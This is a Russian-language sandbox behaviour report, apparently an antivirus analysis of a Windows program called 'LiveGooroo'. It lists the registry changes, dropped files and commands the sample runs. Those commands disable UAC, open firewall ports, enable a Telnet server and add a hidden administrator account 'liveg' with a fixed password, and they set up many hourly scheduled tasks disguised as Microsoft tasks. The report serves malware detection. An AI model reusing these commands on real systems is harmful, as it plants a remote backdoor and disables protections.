Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001] 'PackedCatalogItem' = '{25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,73,79,73,74,65,6d,33...
- [<HKLM>\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002] 'PackedCatalogItem' = '{25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,73,79,73,74,65,6d,33...
- [<HKLM>\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003] 'PackedCatalogItem' = '{25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,73,79,73,74,65,6d,33...
- [<HKLM>\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004] 'PackedCatalogItem' = '{25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,73,79,73,74,65,6d,33...
- [<HKLM>\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005] 'PackedCatalogItem' = '{25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,73,79,73,74,65,6d,33...
- [<HKLM>\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006] 'PackedCatalogItem' = '{25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,73,79,73,74,65,6d,33...
- [<HKLM>\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007] 'PackedCatalogItem' = '{25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,73,79,73,74,65,6d,33...
- [<HKLM>\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008] 'PackedCatalogItem' = '{25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,73,79,73,74,65,6d,33...
- [<HKLM>\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009] 'PackedCatalogItem' = '{25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,73,79,73,74,65,6d,33...
- [<HKLM>\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010] 'PackedCatalogItem' = '{25,53,79,73,74,65,6d,52,6f,6f,74,25,5c,73,79,73,74,65,6d,33...
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\fixit
- <SYSTEM32>\tasks\virusscan1
- <SYSTEM32>\tasks\antivirus
- <SYSTEM32>\tasks\spybot
- <SYSTEM32>\tasks\msmemory
- <SYSTEM32>\tasks\mswindowsupdates
- <SYSTEM32>\tasks\msnetwork
- <SYSTEM32>\tasks\waitmessage
- <SYSTEM32>\tasks\genmessage
- <SYSTEM32>\tasks\virusscan
- <SYSTEM32>\tasks\msmpdvd
- <SYSTEM32>\tasks\mssystemmaint
- <SYSTEM32>\tasks\mssound
- <SYSTEM32>\tasks\msprogramcomp
- <SYSTEM32>\tasks\msperformancediag
- <SYSTEM32>\tasks\msiesafety
- <SYSTEM32>\tasks\msie
- <SYSTEM32>\tasks\mshomegroup
- <SYSTEM32>\tasks\mshardware
- <SYSTEM32>\tasks\msprinters
- <SYSTEM32>\tasks\msaero
- <SYSTEM32>\tasks\startw7
- <SYSTEM32>\tasks\diskop
- <SYSTEM32>\tasks\desktop
- <SYSTEM32>\tasks\sfc
- <SYSTEM32>\tasks\restore
- <SYSTEM32>\tasks\removed
- <SYSTEM32>\tasks\mrt
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
Запускает на исполнение
- '%WINDIR%\syswow64\net.exe' stop PcaSvc
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="LiveGooroo" dir=in action=allow protocol=TCP localport=1023
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="LiveGooroo2" dir=in action=allow protocol=TCP localport=5554
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="LiveGooroo3" dir=in action=allow protocol=TCP localport=5556
Изменения в файловой системе
Создает следующие файлы
- <Текущая директория>\adb.zip
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\folderprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\intlprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\logprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\msiprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\osprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\smiprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\dismprov.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\dmiprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\transmogprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\folderprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\intlprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\logprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\msiprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\osprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\smiprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\unattendprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\wimprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\dismcore.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\compatprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\cbsprovider.dll.mui
- C:\temp\lg\notes.html
- C:\temp\lg\configuration.ini
- C:\temp\lg\waitmessage.exe
- C:\temp\lg\avmessage.exe
- C:\temp\lg\about.txt
- C:\temp\lg\cleanafterme.cfg
- C:\temp\lg\logs\errors.txt
- C:\temp\lg\mrt1.bat
- <Текущая директория>\checkos.txt
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\cbsprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\compatprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dismcore.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dismcoreps.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dismhost.exe
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dismprov.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dmiprovider.dll
- C:\temp\lg\output.txt.txt
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\transmogprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\wimprovider.dll
- %HOMEPATH%\desktop\live gooroo reports\tasks.txt
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\wdscore.dll
- <Текущая директория>\stinger.txt
- <Текущая директория>\sysinfo.txt
- <Текущая директория>\tasks.txt
- %HOMEPATH%\desktop\live gooroo reports\about.txt
- %HOMEPATH%\desktop\live gooroo reports\diagnostics.txt
- %HOMEPATH%\desktop\live gooroo reports\disk.txt
- <Текущая директория>\spyware.txt
- <Текущая директория>\startup.txt
- %HOMEPATH%\desktop\live gooroo reports\drivers.txt
- %HOMEPATH%\desktop\live gooroo reports\ip.txt
- %HOMEPATH%\desktop\live gooroo reports\services.txt
- %HOMEPATH%\desktop\live gooroo reports\spyware.txt
- %HOMEPATH%\desktop\live gooroo reports\startup.txt
- %HOMEPATH%\desktop\live gooroo reports\stinger.txt
- %HOMEPATH%\desktop\live gooroo reports\sysinfo.txt
- %HOMEPATH%\desktop\live gooroo reports\errors.txt
- %HOMEPATH%\desktop\live gooroo reports\health.txt
- <Текущая директория>\services.txt
- <Текущая директория>\ip.txt
- <Текущая директория>\health.txt
- C:\temp\lg\logs\sysinfo.txt
- C:\temp\lg\logs\health.txt
- C:\temp\lg\logs\ip.txt
- C:\temp\lg\logs\tasks.txt
- C:\temp\lg\logs\services.txt
- C:\temp\lg\logs\spyware.txt
- C:\temp\lg\logs\stinger.txt
- C:\temp\lg\logs\drivers.txt
- C:\temp\lg\logs\disk.txt
- C:\temp\lg\logs\startup.txt
- C:\temp\lg\logs\about.txt
- <Текущая директория>\about.txt
- <Текущая директория>\diagnostics.txt
- <Текущая директория>\disk.txt
- <Текущая директория>\drivers.txt
- <Текущая директория>\errors.txt
- C:\temp\lg\logs\diagnostics.txt
- C:\temp\lg\notes.rtf
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\unattendprovider.dll
- C:\temp\lg\spybot1.bat
- C:\platfo~1\adb.exe
- C:\temp\removed.exe
- C:\temp\lg\uninstall.reg
- C:\temp\uninstall.exe
- C:\temp\lg\updates.exe
- %WINDIR%\inf\i386\notice
- %WINDIR%\inf\i386\wdfcoinstaller01009.dll
- C:\temp\lg\usb-driver.zip
- C:\temp\lg\diagnostics.zip
- %WINDIR%\inf\i386\winusbcoinstaller2.dll
- %WINDIR%\inf\androidwinusb86.cat
- %WINDIR%\inf\androidwinusba64.cat
- %WINDIR%\inf\source.properties
- %WINDIR%\inf\amd64\notice
- %WINDIR%\inf\amd64\wdfcoinstaller01009.dll
- %WINDIR%\inf\amd64\winusbcoinstaller2.dll
- %WINDIR%\inf\i386\wudfupdate_01009.dll
- %WINDIR%\inf\android_winusb.inf
- C:\temp\lg\adb.zip
- C:\temp\lg\finish.exe
- nul
- <Текущая директория>\updates.exe
- <Текущая директория>\usb-driver.zip
- <Текущая директория>\finish.exe
- <Текущая директория>\start.exe
- <Текущая директория>\status.exe
- <Текущая директория>\unzip.exe
- <Текущая директория>\unzip2.exe
- <Текущая директория>\setx.exe
- <Текущая директория>\unzip3.exe
- <Текущая директория>\removed.exe
- <Текущая директория>\uninstall.reg
- <Текущая директория>\removemessage.exe
- <Текущая директория>\diagnostics.zip
- <Текущая директория>\uninstall.exe
- <Текущая директория>\completenew.bat
- C:\temp\lg\status.exe
- <Текущая директория>\unzip5.exe
- %WINDIR%\inf\amd64\wudfupdate_01009.dll
- C:\platfo~1\adbwinapi.dll
- C:\temp\lg\gooroo.exe
- C:\platfo~1\adbwinusbapi.dll
- C:\temp\lg\mssystemmaint1.bat
- C:\temp\lg\mssound1.bat
- C:\temp\lg\msprogramcomp1.bat
- C:\temp\lg\msiesafety1.bat
- C:\temp\lg\msie1.bat
- C:\temp\lg\mshomegroup1.bat
- C:\temp\lg\msnetwork1.bat
- C:\temp\lg\msmpdvd1.bat
- C:\temp\lg\msprinters1.bat
- C:\temp\lg\diskmxp.bat
- C:\temp\lg\message.vbs
- C:\temp\lg\microsoftfixit.winfilefolder.run.exe
- C:\temp\lg\logo.jpg
- C:\temp\lg\iefix.msi
- C:\temp\lg\exefix.reg
- C:\temp\lg\msaero1.bat
- C:\temp\lg\fixitie.vbs
- C:\temp\lg\mswindowsupdates1.bat
- C:\temp\lg\memory1.bat
- C:\temp\lg\removed.vbs
- %WINDIR%\syswow64\adbwinapi.dll
- %WINDIR%\syswow64\adbwinusbapi.dll
- C:\temp\lg\cleanafterme.exe
- C:\temp\lg\service.bat
- C:\temp\lg\license.txt
- C:\temp\lg\msmemory1.bat
- C:\temp\lg\genmessage.exe
- %WINDIR%\syswow64\adb.exe
- C:\temp\lg\startup.vbs
- C:\temp\lg\startsystemrestore.bat
- C:\temp\lg\sfc1.bat
- C:\temp\lg\fixuser.reg
- C:\temp\lg\userfix.reg
- C:\temp\lg\mshardware1.bat
- C:\temp\lg\restorethemes.reg
- C:\temp\lg\unzip4.vbs
- C:\temp\lg\msperformancediag1.bat
- C:\temp\lg\virusscan1.bat
- %HOMEPATH%\desktop\live gooroo reports\license.txt
Удаляет следующие файлы
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\cbsprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\transmogprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\unattendprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\wdscore.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\wimprovider.dll
- <Текущая директория>\completenew.bat
- <Текущая директория>\adb.zip
- <Текущая директория>\setx.exe
- <Текущая директория>\updates.exe
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\osprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\smiprovider.dll
- <Текущая директория>\usb-driver.zip
- <Текущая директория>\status.exe
- <Текущая директория>\unzip.exe
- <Текущая директория>\unzip2.exe
- <Текущая директория>\unzip3.exe
- <Текущая директория>\unzip5.exe
- <Текущая директория>\removed.exe
- <Текущая директория>\uninstall.reg
- <Текущая директория>\removemessage.exe
- <Текущая директория>\finish.exe
- <Текущая директория>\start.exe
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\msiprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\logprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\intlprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dismcore.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dismcoreps.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dismhost.exe
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dismprov.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dmiprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\cbsprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\compatprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\dismcore.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\dismprov.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\compatprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\dmiprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\intlprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\logprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\msiprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\osprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\smiprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\transmogprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\unattendprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\wimprovider.dll.mui
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\folderprovider.dll
- %TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\en-us\folderprovider.dll.mui
- <Текущая директория>\diagnostics.zip
- <Текущая директория>\uninstall.exe
Другое
Ищет следующие окна
- ClassName: 'WordPadClass' WindowName: ''
- ClassName: 'RegEdit_RegEdit' WindowName: ''
Создает и запускает на исполнение
- '<Текущая директория>\start.exe'
- '<Текущая директория>\unzip2.exe'
- '<Текущая директория>\unzip3.exe'
- '<Текущая директория>\unzip.exe'
- '<Текущая директория>\setx.exe' path "%PROGRAMDATA%\Oracle\Java\javapath;<SYSTEM32>;%WINDIR%;<SYSTEM32>\Wbem;<SYSTEM32>\WindowsPowerShell\v1.0\;C:\platform-tools" /m
- '<Текущая директория>\setx.exe' path "%PROGRAMDATA%\Oracle\Java\javapath;<SYSTEM32>;%WINDIR%;<SYSTEM32>\Wbem;<SYSTEM32>\WindowsPowerShell\v1.0\;C:\platform-tools"
- '%TEMP%\131c86c7-cb5a-44fc-980d-967858f8b276\dismhost.exe' {55A78167-99E3-4019-B609-EFB770F3DC91}
- 'C:\temp\lg\finish.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""<Текущая директория>\completeNEW.bat" > NUL"' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""<Текущая директория>\completeNEW.bat" > NUL"
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/09/2014 /TN restore /TR c:\temp\lg\startsystemrestore.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN sfc /TR c:\temp\lg\sfc1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN desktop /TR c:\temp\lg\MicrosoftFixit.WinFileFolder.Run.exe
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN diskop /TR c:\temp\lg\diskmxp.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN startw7 /TR c:\temp\lg\startup.vbs
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN msaero /TR c:\temp\lg\msaero1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN msprinters /TR c:\temp\lg\msprinters1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN mshardware /TR c:\temp\lg\mshardware1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN mshomegroup /TR c:\temp\lg\mshomegroup1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN msie /TR c:\temp\lg\msie1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN msiesafety /TR c:\temp\lg\msiesafety1.bat
- '%WINDIR%\syswow64\wbem\wmic.exe' startup get caption,command
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN fixit /TR c:\temp\lg\startup.vbs
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN msperformancediag /TR c:\temp\lg\msperformancediag1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN mssystemmaint /TR c:\temp\lg\mssystemmaint1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN msmpdvd /TR c:\temp\lg\msmpdvd1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN virusscan /TR c:\temp\lg\avmessage.exe
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN genmessage /TR c:\temp\lg\genmessage.exe
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN waitmessage /TR c:\temp\lg\waitmessage.exe
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN msnetwork /TR c:\temp\lg\msnetwork1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN mswindowsupdates /TR c:\temp\lg\mswindowsupdates1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN msmemory /TR c:\temp\lg\memory1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN spybot /TR C:\temp\lg\spybot1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN antivirus /TR C:\temp\lg\antivirus.exe
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN virusscan1 /TR C:\temp\lg\virusscan1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN msprogramcomp /TR c:\temp\lg\msprogramcomp1.bat
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN mssound /TR c:\temp\lg\mssound1.bat
- '%WINDIR%\syswow64\fsutil.exe' dirty query c
- '%WINDIR%\syswow64\fsutil.exe' volume diskfree C
- '%WINDIR%\syswow64\fsutil.exe' fsinfo drives
- '%WINDIR%\syswow64\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '%ProgramFiles(x86)%\windows nt\accessories\wordpad.exe' c:\temp\lg\notes.rtf
- '%WINDIR%\syswow64\netsh.exe' interface tcp reset
- '%WINDIR%\syswow64\netsh.exe' winsock reset
- '%WINDIR%\syswow64\ipconfig.exe' /flushdns
- '%WINDIR%\syswow64\reg.exe' Query HKLM\Hardware\Description\System\CentralProcessor\0
- '%WINDIR%\syswow64\find.exe' /i "x86"
- '<SYSTEM32>\cmd.exe' /c c:\temp\lg\service.bat
- '<SYSTEM32>\dism.exe' /online /norestart /logpath:"c:\temp\lg\output.txt.txt" /enable-feature /ignorecheck /featurename:"TelnetServer"
- '<SYSTEM32>\sc.exe' Config "TlntSvr" start= auto
- '<SYSTEM32>\net.exe' START "TlntSvr"
- '<SYSTEM32>\net1.exe' START "TlntSvr"
- '%WINDIR%\syswow64\net1.exe' stop PcaSvc
- '%WINDIR%\syswow64\net.exe' user /add liveg LiveG1
- '%WINDIR%\syswow64\net.exe' localgroup administrators liveg /add
- '%WINDIR%\syswow64\net1.exe' localgroup administrators liveg /add
- '%WINDIR%\syswow64\net.exe' localgroup TelnetClients liveg /add
- '%WINDIR%\syswow64\net1.exe' localgroup TelnetClients liveg /add
- '%WINDIR%\syswow64\regedit.exe' /s c:\temp\lg\fixuser.reg
- '%WINDIR%\syswow64\regedit.exe' /s uninstall.reg
- '%WINDIR%\syswow64\driverquery.exe'
- '%WINDIR%\syswow64\systeminfo.exe'
- '%WINDIR%\syswow64\ipconfig.exe'
- '%WINDIR%\syswow64\tasklist.exe'
- '%WINDIR%\syswow64\tasklist.exe' /svc
- '%WINDIR%\syswow64\wevtutil.exe' qe System /c:40 /rd:true /f:text
- '%WINDIR%\syswow64\net1.exe' user /add liveg LiveG1
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN removed /TR C:\temp\removed.exe
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC HOURLY /ST 12:00:00 /SD 01/05/2014 /TN mrt /TR C:\temp\lg\mrt1.bat
